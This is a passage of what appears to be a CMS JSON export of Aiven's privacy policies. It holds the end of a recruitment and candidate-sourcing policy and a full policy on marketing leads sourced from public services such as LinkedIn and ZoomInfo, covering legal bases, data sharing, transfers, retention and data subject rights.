appropriate working permits."}],"markDefs":[],"style":"normal"},{"_key":"d535575f20d0","_type":"table","rows":[{"_key":"4eaefa7c-94ea-4c6d-ad1d-2d9b777da4b4","_type":"tableRow","cells":["Categories of personal data","Legal basis"]},{"_key":"d6fb3ba5-abe0-4201-82b3-cd64f45e6140","_type":"tableRow","cells":["- Identity data - Contact data - Skills data - Employment data - Education data - Background check data - Reference check data - Personal data related to health status  - Other data categories provided (e.g., photos or videos, work samples, hobbies, etc.)","The processing is necessary to achieve legitimate interests pursued by Aiven. Aiven considers that it has a legitimate interest in managing and carrying out recruitment processes as well as in evaluating Applicants in an equal and effective manner.\u003cbr\u003e\u003cbr\u003eAiven processes special categories of personal data (health status) provided by the Applicant if and as needed to provide the Applicant an equal opportunity to participate in the recruitment process.\u003cbr\u003e\u003cbr\u003eWhere required by data protection laws, we will ask your consent prior to collecting data in connection with background checks and reference checks.\u003cbr\u003e\u003cbr\u003eFurther in the recruitment process, the processing of personal data also becomes necessary in order to take steps at Applicant’s request prior to entering into contract of employment."]}]},{"_key":"bae3f7889603","_type":"block","children":[{"_key":"66133541a03f0","_type":"span","marks":[],"text":"Communicating new open positions"}],"markDefs":[],"style":"h3"},{"_key":"6fd0a26d2c2a","_type":"block","children":[{"_key":"9c3d7ace76f00","_type":"span","marks":[],"text":"If you are not selected to the position applied, we may further process your personal data to inform you about similar open positions at Aiven."}],"markDefs":[],"style":"normal"},{"_key":"30aeb84f5b18","_type":"table","rows":[{"_key":"ad0a790f-06c6-488e-8f35-37e0e15db2c9","_type":"tableRow","cells":["Categories of personal data","Legal basis"]},{"_key":"5fd0eed7-ab1a-4681-91ee-c1de047de536","_type":"tableRow","cells":["Identity data - Contact data"," The processing is necessary to achieve legitimate interests pursued by Aiven. Aiven considers that it has a legitimate interest in imparting information and establishing a dialogue with suitable Applicants to ensure effective communication of open positions."]}]},{"_key":"317085b5fca0","_type":"block","children":[{"_key":"1a40459fa0fa0","_type":"span","marks":[],"text":"Establishing, exercising or defending legal claims"}],"markDefs":[],"style":"h3"},{"_key":"421ed304528a","_type":"block","children":[{"_key":"86950ef1ed580","_type":"span","marks":[],"text":"To the extent necessary, we may need to process your personal data in order to handle and defend possible legal claims, for example in cases of recruitment selection related disputes or legal proceedings."}],"markDefs":[],"style":"normal"},{"_key":"92a90883a95a","_type":"block","children":[{"_key":"fd50d04c10470","_type":"span","marks":[],"text":"With whom do we share your data?"}],"markDefs":[],"style":"h2"},{"_key":"41e94f6de960","_type":"block","children":[{"_key":"634437bd9ee70","_type":"span","marks":[],"text":"In order to fulfil the purposes described in this Privacy Policy, we may have to share your personal data with the parties set out below. These parties may include:"}],"markDefs":[],"style":"normal"},{"_key":"cce39335118a","_type":"block","children":[{"_key":"d3e4fe3b7a020","_type":"span","marks":[],"text":"Our relevant subsidiaries to the extent necessary to carry out the recruitment process for open positions located at our subsidiaries;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"fa23f1b0b0c9","_type":"block","children":[{"_key":"326f5d87ee920","_type":"span","marks":[],"text":"Third-party service providers, including but not limited to, data storage, data management and recruitment service providers;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4031e22cd30f","_type":"block","children":[{"_key":"363d3c3da76d0","_type":"span","marks":[],"text":"Courts, counterparties etc., as required to establish, exercise or defend legal claims;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"131649bc6c62","_type":"block","children":[{"_key":"df19c1ccc7280","_type":"span","marks":[],"text":"To the extent required and necessary, competent authorities if we are obligated under law to disclose data; and"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c11d1c1adfed","_type":"block","children":[{"_key":"1ce0737d12220","_type":"span","marks":[],"text":"Prospective sellers or buyers if we are involved in a merger, acquisition, or sale of all or a portion of our assets."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"df9efa347ef9","_type":"block","children":[{"_key":"e851938331970","_type":"span","marks":[],"text":"All of our subsidiaries and third-party service providers are required to take appropriate security measures to protect your data and they may only process personal data for the purposes mentioned in this Privacy Policy and in accordance with our instructions."}],"markDefs":[],"style":"normal"},{"_key":"0e9c9d574729","_type":"block","children":[{"_key":"a2d7e3a2703f0","_type":"span","marks":[],"text":"Do we transfer personal data outside the EU / EEA?"}],"markDefs":[],"style":"h2"},{"_key":"13f9826ff5e0","_type":"block","children":[{"_key":"5c99c4cf2f330","_type":"span","marks":[],"text":"We store personal data on servers located in the European Union (\""},{"_key":"5c99c4cf2f331","_type":"span","marks":["strong"],"text":"EU"},{"_key":"5c99c4cf2f332","_type":"span","marks":[],"text":"\"). However, some of our service providers or subsidiaries may be based outside the European Economic Area (\""},{"_key":"5c99c4cf2f333","_type":"span","marks":["strong"],"text":"EEA"},{"_key":"5c99c4cf2f334","_type":"span","marks":[],"text":"\"), including the United States of America, so their processing of your personal data will involve a transfer of personal data outside the EEA."}],"markDefs":[],"style":"normal"},{"_key":"f0357fe204fc","_type":"block","children":[{"_key":"ecf7fed2efc30","_type":"span","marks":[],"text":"Whenever we transfer personal data out of the EEA, and unless a specific derogation applies, we seek to ensure that a similar degree of protection is afforded than that provided in the EEA by ensuring at least one of the following safeguards is implemented:"}],"markDefs":[],"style":"normal"},{"_key":"673d8f61c4ec","_type":"block","children":[{"_key":"3c999689f2f10","_type":"span","marks":[],"text":"Where possible, we will transfer personal data to countries that have been deemed to provide an adequate level of protection for personal data by the European Commission; or"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"25e100996310","_type":"block","children":[{"_key":"9fa7c1dbde0a0","_type":"span","marks":[],"text":"Where we use a service provider residing in a country outside the EEA that is not deemed to provide an adequate level of protection for personal data, we use specific contractual clauses approved by the European Commission (i.e., the Standard Contractual Clauses approved by the European Commission) which aim to provide personal data the same protection as it has in the EEA."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"10f1df13cc6e","_type":"block","children":[{"_key":"ce3672a1ad480","_type":"span","marks":[],"text":"Please email us at "},{"_key":"ce3672a1ad481","_type":"span","marks":["da501d2de435"],"text":"privacy@aiven.io"},{"_key":"ce3672a1ad482","_type":"span","marks":[],"text":" if you want further information on the specific mechanism used by us when transferring your personal data out of the EEA or to obtain a copy of any contractual clauses in place. Please note, however, that some details may be redacted for confidentiality reasons."}],"markDefs":[{"_key":"da501d2de435","_type":"link","href":"mailto:privacy@aiven.io"}],"style":"normal"},{"_key":"e95ae061673e","_type":"block","children":[{"_key":"24368f015a350","_type":"span","marks":[],"text":"How long do we retain personal data?"}],"markDefs":[],"style":"h2"},{"_key":"ae84bf6333c1","_type":"block","children":[{"_key":"22c552b980310","_type":"span","marks":[],"text":"We will only retain personal data for as long as it is necessary to fulfill the purposes defined in this Privacy Policy. In general, we comply with the following criteria with respect to retaining and erasing personal data:"}],"markDefs":[],"style":"normal"},{"_key":"69babc2704cb","_type":"block","children":[{"_key":"f1da185d99d60","_type":"span","marks":[],"text":"With respect to you as a Candidate, personal data are retained during the search and evaluation period. Personal data will be erased after we have contacted you to inform and offer open position at Aiven;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f9c8eedb999b","_type":"block","children":[{"_key":"c91cf74de1440","_type":"span","marks":[],"text":"With respect to you as an Applicant, personal data are retained for the duration of the recruitment process. After the selection decision has been made, non-selected Applicants personal data are retained for a maximum period of 2 years in order to be able to communicate new open positions as well as for safeguarding our legitimate interests in establishing, executing or defending possible legal claims."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"bd0f226f44dd","_type":"block","children":[{"_key":"c8c73a34ec9a0","_type":"span","marks":[],"text":"Please note that if you are hired as a result of your application, some of the personal data collected as part of the recruitment process may be transferred to your personnel file."}],"markDefs":[],"style":"normal"},{"_key":"9159d67f0bb7","_type":"block","children":[{"_key":"ca53b066be7b0","_type":"span","marks":[],"text":"What rights do you have?"}],"markDefs":[],"style":"h2"},{"_key":"3691e5b298fa","_type":"block","children":[{"_key":"fbabff757b030","_type":"span","marks":[],"text":"Subject to certain exemptions and limitations, you have certain rights in relation to the processing of your personal data. You have the right to:"}],"markDefs":[],"style":"normal"},{"_key":"98140a447355","_type":"block","children":[{"_key":"85c63528049e0","_type":"span","marks":[],"text":"Access your personal data;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4fe56e3e136c","_type":"block","children":[{"_key":"b4bf4c61dd9b","_type":"span","marks":[],"text":"Update incorrect or incomplete personal data;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d46771a019d2","_type":"block","children":[{"_key":"c9f92ffa9e0f0","_type":"span","marks":[],"text":"Object to the processing of personal data;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6b394390e8b5","_type":"block","children":[{"_key":"0565270b8b8b0","_type":"span","marks":[],"text":"Erase your personal data;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1359ac8b6bb1","_type":"block","children":[{"_key":"9dfa561e25ee0","_type":"span","marks":[],"text":"Restrict the use of your personal data;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"549b1c0776fa","_type":"block","children":[{"_key":"984c3b5368600","_type":"span","marks":[],"text":"Data portability, meaning the right to receive your data in a structured, commonly used machine-readable format and transmit the data to another data controller; and"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"279951b6555c","_type":"block","children":[{"_key":"b398246717d00","_type":"span","marks":[],"text":"Withdraw your consent."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"fecf78cfb043","_type":"block","children":[{"_key":"0504152911c40","_type":"span","marks":[],"text":"Should you wish to exercise your above-mentioned rights, please send a request to us at "},{"_key":"0504152911c41","_type":"span","marks":["a972d7c3ec29"],"text":"privacy@aiven.io"},{"_key":"0504152911c42","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"a972d7c3ec29","_type":"link","href":"mailto:privacy@aiven.io"}],"style":"normal"},{"_key":"dc680043696f","_type":"block","children":[{"_key":"d68b2d2bf5d30","_type":"span","marks":[],"text":"In case you exercise your rights, we may need to request specific information from you to help us confirm your identity and ensure your right to access your personal data (or to exercise any of your other rights). This is a security measure to ensure that personal data is not disclosed to any person who has no right to receive it. We may also contact you to ask you for further information in relation to your request to speed up our response."}],"markDefs":[],"style":"normal"},{"_key":"032cc19518c9","_type":"block","children":[{"_key":"3ceb769151090","_type":"span","marks":[],"text":"Updates to this privacy policy"}],"markDefs":[],"style":"h2"},{"_key":"d7e0d85f7119","_type":"block","children":[{"_key":"67b46b6b198f0","_type":"span","marks":[],"text":"We may update this Privacy Policy from time to time. If we make any updates to this Privacy Policy, we will always publish the updated version on this page."}],"markDefs":[],"style":"normal"},{"_key":"81b114f9635c","_type":"block","children":[{"_key":"bba1b4153a4c0","_type":"span","marks":[],"text":"Contact us"}],"markDefs":[],"style":"h2"},{"_key":"8f1e9252fe23","_type":"block","children":[{"_key":"a3f64a916dca0","_type":"span","marks":[],"text":"If you have any questions regarding the processing of your personal data, please do not hesitate to contact us. See below for contact details:"}],"markDefs":[],"style":"normal"},{"_key":"db8656e6dfa8","_type":"block","children":[{"_key":"84b1cd90096c0","_type":"span","marks":[],"text":"Aiven Oy\nAntinkatu 1\n00100 Helsinki\nFinland"}],"markDefs":[],"style":"normal"},{"_key":"b4b624b51f77","_type":"block","children":[{"_key":"583a038a82110","_type":"span","marks":["4a8ef6d98c14"],"text":"privacy@aiven.io"}],"markDefs":[{"_key":"4a8ef6d98c14","_type":"link","href":"mailto:privacy@aiven.io"}],"style":"normal"},{"_key":"03a0b31d527b","_type":"block","children":[{"_key":"02e57b86c41f0","_type":"span","marks":[],"text":"You have the right to make a complaint at any time to the supervisory authority in your country of residence. List of the EEA supervisory authorities can be found "},{"_key":"89d966e7269e","_type":"span","marks":["fce4b2d3630d"],"text":"here"},{"_key":"05cdc78d5441","_type":"span","marks":[],"text":". In Finland, the relevant supervisory authority is the Office of the "},{"_key":"4e5235d5f734","_type":"span","marks":["d21eca3b9820"],"text":"Data Protection Ombudsman"},{"_key":"9d5f7e271dde","_type":"span","marks":[],"text":". We would, however, appreciate the chance to deal with your concerns before you approach any supervisory authority. Therefore, please contact us in the first instance."}],"markDefs":[{"_key":"fce4b2d3630d","_type":"link","href":"https://edpb.europa.eu/about-edpb/about-edpb/members_en"},{"_key":"d21eca3b9820","_type":"link","href":"https://tietosuoja.fi/en/home"}],"style":"normal"}],"publishedAt":"2022-11-23T15:03:00.000Z","seo":{"_type":"metaData","metaDescription":"Your personal information is important; that's why Aiven offers a clear recruitment and job candidate privacy policy.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-d5aeed21a61ecdc16bc7f53357ecad5fac4feaba-1200x630-jpg","_type":"reference"}},"metaTitle":"Recruitment and Candidate Sourcing Privacy Policy | Aiven"},"slug":{"_type":"slug","current":"/recruitment-and-candidate-sourcing-privacy-policy"},"title":"Recruitment and Candidate Sourcing Privacy Policy"}
{"__i18n_lang":"en","_createdAt":"2022-10-04T08:02:06Z","_id":"e96c327d-9fcc-4c61-8899-8a3f39e0fec8","_rev":"2DKMiOi4Ekqsoc9oUQTvAZ","_type":"term","_updatedAt":"2023-07-13T09:42:00Z","content":[{"_key":"5bad042fc9c0","_type":"block","children":[{"_key":"e062e96b4dcf0","_type":"span","marks":[],"text":"Background"}],"markDefs":[],"style":"h2"},{"_key":"36a2abe0bb12","_type":"block","children":[{"_key":"2770325e2be80","_type":"span","marks":[],"text":"This Sourced Leads Privacy Policy (referred to as \""},{"_key":"2770325e2be81","_type":"span","marks":["strong"],"text":"Privacy Policy"},{"_key":"2770325e2be82","_type":"span","marks":[],"text":"\") informs why and how we process personal data about potential business customers, whose data we have collected from publicly available sources (referred to as \""},{"_key":"2770325e2be83","_type":"span","marks":["strong"],"text":"Lead"},{"_key":"2770325e2be84","_type":"span","marks":[],"text":"\", “"},{"_key":"2770325e2be85","_type":"span","marks":["strong"],"text":"you"},{"_key":"2770325e2be86","_type":"span","marks":[],"text":"” and jointly \""},{"_key":"2770325e2be87","_type":"span","marks":["strong"],"text":"Leads"},{"_key":"2770325e2be88","_type":"span","marks":[],"text":"\")."}],"markDefs":[],"style":"normal"},{"_key":"d6fdd43d54ac","_type":"block","children":[{"_key":"3a6c1507813c0","_type":"span","marks":[],"text":"Aiven Ltd, business ID: 2795743-5, is the data controller (referred to as \""},{"_key":"3a6c1507813c1","_type":"span","marks":["strong"],"text":"Aiven"},{"_key":"3a6c1507813c2","_type":"span","marks":[],"text":"\", \""},{"_key":"3a6c1507813c3","_type":"span","marks":["strong"],"text":"we"},{"_key":"3a6c1507813c4","_type":"span","marks":[],"text":"\" or \""},{"_key":"3a6c1507813c5","_type":"span","marks":["strong"],"text":"us"},{"_key":"3a6c1507813c6","_type":"span","marks":[],"text":"\") in relation to the processing of your personal data. As a data controller, Aiven is responsible for ensuring that personal data is processed in compliance with data protection laws. We take your data protection rights seriously and your personal data will be treated in a secure and confidential manner as set out in this Privacy Policy and as required by data protection laws."}],"markDefs":[],"style":"normal"},{"_key":"44dcd4c4929e","_type":"block","children":[{"_key":"0012840f011b0","_type":"span","marks":[],"text":"We have also designated a Data Protection Officer (“DPO”) to oversee our data protection related matters. If you have any questions or concerns about the way we use your data, you may contact our DPO by email at "},{"_key":"0012840f011b1","_type":"span","marks":["abb1668668cf"],"text":"dpo@aiven.io"},{"_key":"0012840f011b2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"abb1668668cf","_type":"link","href":"mailto:dpo@aiven.io"}],"style":"normal"},{"_key":"6e775df46fe0","_type":"block","children":[{"_key":"56fa1e0cabcb0","_type":"span","marks":[],"text":"Where do we collect your personal data and what personal data are processed?"}],"markDefs":[],"style":"h2"},{"_key":"9d892dff3c47","_type":"block","children":[{"_key":"ae84351b33580","_type":"span","marks":[],"text":"We collect your personal data from publicly available sources by using different service providers or collecting your data manually. We collect your data from the following publicly available services (referred to as ‘"},{"_key":"d481b65fe2d2","_type":"span","marks":["strong"],"text":"’Public Services’’"},{"_key":"8a5eef05e76c","_type":"span","marks":[],"text":"):"}],"markDefs":[],"style":"normal"},{"_key":"8c22e6bc0537","_type":"block","children":[{"_key":"336849ba04ee0","_type":"span","marks":[],"text":"ZoomInfo"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7aa97826b0e8","_type":"block","children":[{"_key":"42d2f5f151640","_type":"span","marks":[],"text":"LinkedIn"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0b27c380ab86","_type":"block","children":[{"_key":"c46b4d85913d0","_type":"span","marks":[],"text":"LeadIQ"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"43f411e534be","_type":"block","children":[{"_key":"002beece6796","_type":"span","marks":[],"text":"6Sense"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d1b9c381f63a","_type":"block","children":[{"_key":"6999b8e1652c0","_type":"span","marks":["strong"],"text":"Personal data available in the Public Service(s)"}],"markDefs":[],"style":"normal"},{"_key":"95cea8e8330c","_type":"block","children":[{"_key":"432150e230d70","_type":"span","marks":[],"text":"When you create your public profile in any of the Public Services you can choose what information you set to be public and to what extent search engines can access your personal data. You can restrict search engines from accessing your public profile by changing certain profile settings available or by changing or removing the personal data available in the Public Services."}],"markDefs":[],"style":"normal"},{"_key":"978be97a9a95","_type":"block","children":[{"_key":"c3d1f10574d20","_type":"span","marks":[],"text":"We collect the following categories of personal data from the Public Services:"}],"markDefs":[],"style":"normal"},{"_key":"21bdc2e2bc3b","_type":"block","children":[{"_key":"6615fd0339840","_type":"span","marks":[],"text":"Identity and contact information of the Leads (e.g. full name, email address, telephone number)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"dfc4ae6b0f70","_type":"block","children":[{"_key":"d2466a3306c20","_type":"span","marks":[],"text":"Lead’s company related data (e.g. title, position, field of the company)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e58b34f54856","_type":"block","children":[{"_key":"e0ecefea146d0","_type":"span","marks":[],"text":"What is the purpose and lawful basis for processing your data?"}],"markDefs":[],"style":"h2"},{"_key":"b4b17a58bcf8","_type":"block","children":[{"_key":"0d2df184d0d30","_type":"span","marks":[],"text":"We have identified the purposes for processing your personal data as provided in the table below. These purposes each relate to a lawful basis for processing, as required by data protection laws."}],"markDefs":[],"style":"normal"},{"_key":"47fc076a676d","_type":"table","rows":[{"_key":"b6859899-bf96-40a1-b87e-10ddd0b43ff7","_type":"tableRow","cells":["Purpose for processing","Lawful basis"]},{"_key":"fc91c284-141c-4141-956d-392072ed95b2","_type":"tableRow","cells":["Evaluate potential Leads in order to offer Aiven products and services by direct marketing. The processing in this regard includes categorizing and evaluating Leads’ interest in Aiven’s products and services by evaluating the position, title and the company the Lead works for.","The processing is necessary to achieve the legitimate interests pursued by Aiven. Aiven considers that it has a legitimate interest in carrying out direct marketing for attracting and offering services to high caliber leads."]}]},{"_key":"20b93bf4db72","_type":"block","children":[{"_key":"04d6586bbbff0","_type":"span","marks":[],"text":"We will only use your personal data for the purposes for which we collected it, unless we reasonably consider that we need to use it for another reason and that reason is compatible with the original purpose."}],"markDefs":[],"style":"normal"},{"_key":"f637e8579b4a","_type":"block","children":[{"_key":"f9da682b11b10","_type":"span","marks":[],"text":"How do we perform the searches?"}],"markDefs":[],"style":"h2"},{"_key":"e0cc096259ab","_type":"block","children":[{"_key":"5a494f2b401b0","_type":"span","marks":[],"text":"When we are looking for Leads, we always have certain predefined criteria to which against we perform the searches. The predefined criteria consists of the following information regarding the Lead (the combination used in each search may vary):"}],"markDefs":[],"style":"normal"},{"_key":"ada71cc786e6","_type":"block","children":[{"_key":"4cd9657d3adf0","_type":"span","marks":[],"text":"Company information"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"786ba67a7820","_type":"block","children":[{"_key":"1b68e8a5c0800","_type":"span","marks":[],"text":"Company field of business"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4958ebeda3c2","_type":"block","children":[{"_key":"afb850a4f35a0","_type":"span","marks":[],"text":"Technology used by the company"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"bb13dfc1deed","_type":"block","children":[{"_key":"871e0d5620960","_type":"span","marks":[],"text":"Job offers (e.g. Kafka engineers)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"53b227d1f5e3","_type":"block","children":[{"_key":"31bf15ecfd980","_type":"span","marks":[],"text":"Title"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"565be507623e","_type":"block","children":[{"_key":"544f1b824f4d0","_type":"span","marks":[],"text":"Other similar company related information"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f66fbb0b491f","_type":"block","children":[{"_key":"95fbbc457d470","_type":"span","marks":[],"text":"In other words, we use pre-determined criteria and automated means to process personal data and create profiles of Leads. Although the processing may amount to profiling, as defined in data protection laws, we do not carry out any automated decision making that would have legal effects or similarly significant effects on the Leads."}],"markDefs":[],"style":"normal"},{"_key":"5c875a9bcdf3","_type":"block","children":[{"_key":"3469031d808c0","_type":"span","marks":[],"text":"After performing the search, our marketing staff will always review the results and decide which Leads to contact. In addition, before communicating, our marketing staff may also manually check the potential Lead’s profile in Public Services in order to determine whether the Lead or Lead’s company could be interested in or benefit from using Aiven products and services."}],"markDefs":[],"style":"normal"},{"_key":"c8ef3d8dcf3f","_type":"block","children":[{"_key":"e623ccbb70cc0","_type":"span","marks":[],"text":"To whom we share your data?"}],"markDefs":[],"style":"h2"},{"_key":"16c82901ba52","_type":"block","children":[{"_key":"296d62a22c480","_type":"span","marks":[],"text":"We may have to share your personal data with the parties set out below for the purposes described in this Privacy Policy. These parties include:"}],"markDefs":[],"style":"normal"},{"_key":"e06fc2057588","_type":"block","children":[{"_key":"78593604d72e0","_type":"span","marks":[],"text":"Service providers who provide IT and system administration services, including our email service provider and CRM service providers."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a4f4215d05d7","_type":"block","children":[{"_key":"89a07deb57b10","_type":"span","marks":[],"text":"All of our subsidiaries and third party service providers are required to take appropriate security measures to protect your data and they may only process personal data for the purposes mentioned in this Privacy Policy and in accordance with our instructions. We never sell your personal data."}],"markDefs":[],"style":"normal"},{"_key":"24e1d6cb97b2","_type":"block","children":[{"_key":"bbb4630e0476","_type":"span","marks":[],"text":"Do we transfer personal data outside the EU/EEA?"}],"markDefs":[],"style":"h2"},{"_key":"3c798ea6946f","_type":"block","children":[{"_key":"f386c105fc650","_type":"span","marks":[],"text":"We store personal data on servers located in the European Union (\""},{"_key":"d15ffe4ef2f7","_type":"span","marks":["strong"],"text":"EU"},{"_key":"c6bc6e301368","_type":"span","marks":[],"text":"\"). However, some of our service providers or subsidiaries may be based outside the European Economic Area (\""},{"_key":"b8ac3a54361a","_type":"span","marks":["strong"],"text":"EEA"},{"_key":"82d8eba1b164","_type":"span","marks":[],"text":"\"), including the United States of America, so their processing of your personal data will involve a transfer of personal data outside the EEA."}],"markDefs":[],"style":"normal"},{"_key":"5bb9c5c17fc9","_type":"block","children":[{"_key":"d3334e65d1a30","_type":"span","marks":[],"text":"Whenever we transfer personal data out of the EEA, and unless a specific derogation applies, we seek to ensure that a similar degree of protection is afforded than that provided in the EEA by ensuring at least one of the following safeguards is implemented:"}],"markDefs":[],"style":"normal"},{"_key":"e7812573e2ae","_type":"block","children":[{"_key":"f462cc7a548f0","_type":"span","marks":[],"text":"Where possible, we will transfer personal data to countries that have been deemed to provide an adequate level of protection for personal data by the European Commission"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f6ad263599b4","_type":"block","children":[{"_key":"70589b5c46bc0","_type":"span","marks":[],"text":"Where we use a service provider residing in a country outside the EEA that is not deemed to provide an adequate level of protection for personal data, we use specific contractual clauses approved by the European Commission (i.e. the Standard Contractual Clauses approved by the European Commission) or binding corporate rules approved by a competent data protection authority for the service provider which aim to provide personal data the same protection as it has in the EEA"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4e9970a679a4","_type":"block","children":[{"_key":"19f3712b51af","_type":"span","marks":[],"text":"Please email us at "},{"_key":"885cde394a15","_type":"span","marks":["a3a58693b7c2"],"text":"privacy@aiven.io"},{"_key":"2a80b164af162","_type":"span","marks":[],"text":" if you want further information on the specific mechanism used by us when transferring your personal data out of the EEA or to obtain a copy of any contractual clauses in place, although some details may be redacted for confidentiality reasons. "}],"markDefs":[{"_key":"a3a58693b7c2","_type":"link","href":"mailto:privacy@aiven.io"}],"style":"normal"},{"_key":"6bb116c752d6","_type":"block","children":[{"_key":"d3ba3e00d8430","_type":"span","marks":[],"text":"How long will we retain personal data?"}],"markDefs":[],"style":"h2"},{"_key":"d14ea349425c","_type":"block","children":[{"_key":"e1cb255a3ee40","_type":"span","marks":[],"text":"We will only retain personal data for as long as necessary to fulfill the purposes defined in this Privacy Policy. In general, we comply with the following criteria with respect to retaining and erasing personal data:"}],"markDefs":[],"style":"normal"},{"_key":"8fa5579240d4","_type":"block","children":[{"_key":"1b3b464f46550","_type":"span","marks":[],"text":"Personal data are retained during the search and after when we perform direct marketing. Following this, personal data will be erased when we have no active marketing campaigns"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8cb4e66d5244","_type":"block","children":[{"_key":"cf7aa38101f9","_type":"span","marks":[],"text":"What rights do you have?"}],"markDefs":[],"style":"h2"},{"_key":"82fc5a54243c","_type":"block","children":[{"_key":"27121448bdbb0","_type":"span","marks":[],"text":"Subject to certain exemptions and limitations, you have certain rights in relation to the processing of your personal data. You have the right to:"}],"markDefs":[],"style":"normal"},{"_key":"63f5ed04cc35","_type":"block","children":[{"_key":"c4d2eae5a9280","_type":"span","marks":[],"text":"Access your personal data"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4b02023c2778","_type":"block","children":[{"_key":"866e65082b250","_type":"span","marks":[],"text":"Update incorrect or incomplete personal data"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"757221d98ae2","_type":"block","children":[{"_key":"911c339ae11c0","_type":"span","marks":[],"text":"Object to the processing of personal data"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5803ad24d21c","_type":"block","children":[{"_key":"8db9a5307a7f0","_type":"span","marks":[],"text":"Erase your personal data"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"59254514cd48","_type":"block","children":[{"_key":"e8c79490246a0","_type":"span","marks":[],"text":"Restrict the use of your personal data"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ad37dde4769c","_type":"block","children":[{"_key":"fea636d5913c0","_type":"span","marks":[],"text":"The right to object processing, that is based on legitimate interest"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7e65e82f9d08","_type":"block","children":[{"_key":"fdf0f399c5c40","_type":"span","marks":[],"text":"If we would process personal data on the basis of your consent, you will have the right to withdraw your consent at any time"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"695308559da0","_type":"block","children":[{"_key":"1cb7a5c4d3f90","_type":"span","marks":[],"text":"Should you wish to exercise your above mentioned rights, please send a request to us at "},{"_key":"1cb7a5c4d3f91","_type":"span","marks":["dcdfe84c5da6"],"text":"privacy@aiven.io"},{"_key":"1cb7a5c4d3f92","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"dcdfe84c5da6","_type":"link","href":"mailto:privacy@aiven.io"}],"style":"normal"},{"_key":"37b8ad04a10c","_type":"block","children":[{"_key":"c3d2233ad9530","_type":"span","marks":[],"text":"In case you exercise your rights, we may need to request specific information from you to help us confirm your identity and ensure your right to access your personal data (or to exercise any of your other rights). This is a security measure to ensure that personal data is not disclosed to any person who has no right to receive it. We may also contact you to ask you for further information in relation to your request to speed up our response."}],"markDefs":[],"style":"normal"},{"_key":"b85e5f31c852","_type":"block","children":[{"_key":"c7b999af78090","_type":"span","marks":[],"text":"Updates to this privacy policy"}],"markDefs":[],"style":"h2"},{"_key":"66fffe7d26aa","_type":"block","children":[{"_key":"b07616a837b00","_type":"span","marks":[],"text":"We may update this Privacy Policy from time to time. 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We would, however, appreciate the chance to deal with your concerns before you approach any supervisory authority so please contact us in the first instance."}],"markDefs":[{"_key":"cc3f39e2554a","_type":"link","href":"https://edpb.europa.eu/about-edpb/about-edpb/members_en"},{"_key":"aa133512a252","_type":"link","href":"https://tietosuoja.fi/en/home"}],"style":"normal"}],"publishedAt":"2023-07-13T09:41:49.629Z","seo":{"_type":"metaData","excludeFromSitemap":true,"metaDescription":"This Privacy Policy informs why and how we process personal data about potential business customers, whose data we have collected from publicly available sources.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-d5aeed21a61ecdc16bc7f53357ecad5fac4feaba-1200x630-jpg","_type":"reference"}},"metaTitle":"Sourced Leads Privacy Policy"},"slug":{"_type":"slug","current":"/sourced-leads-privacy-policy"},"title":"Sourced Leads Privacy Policy"}
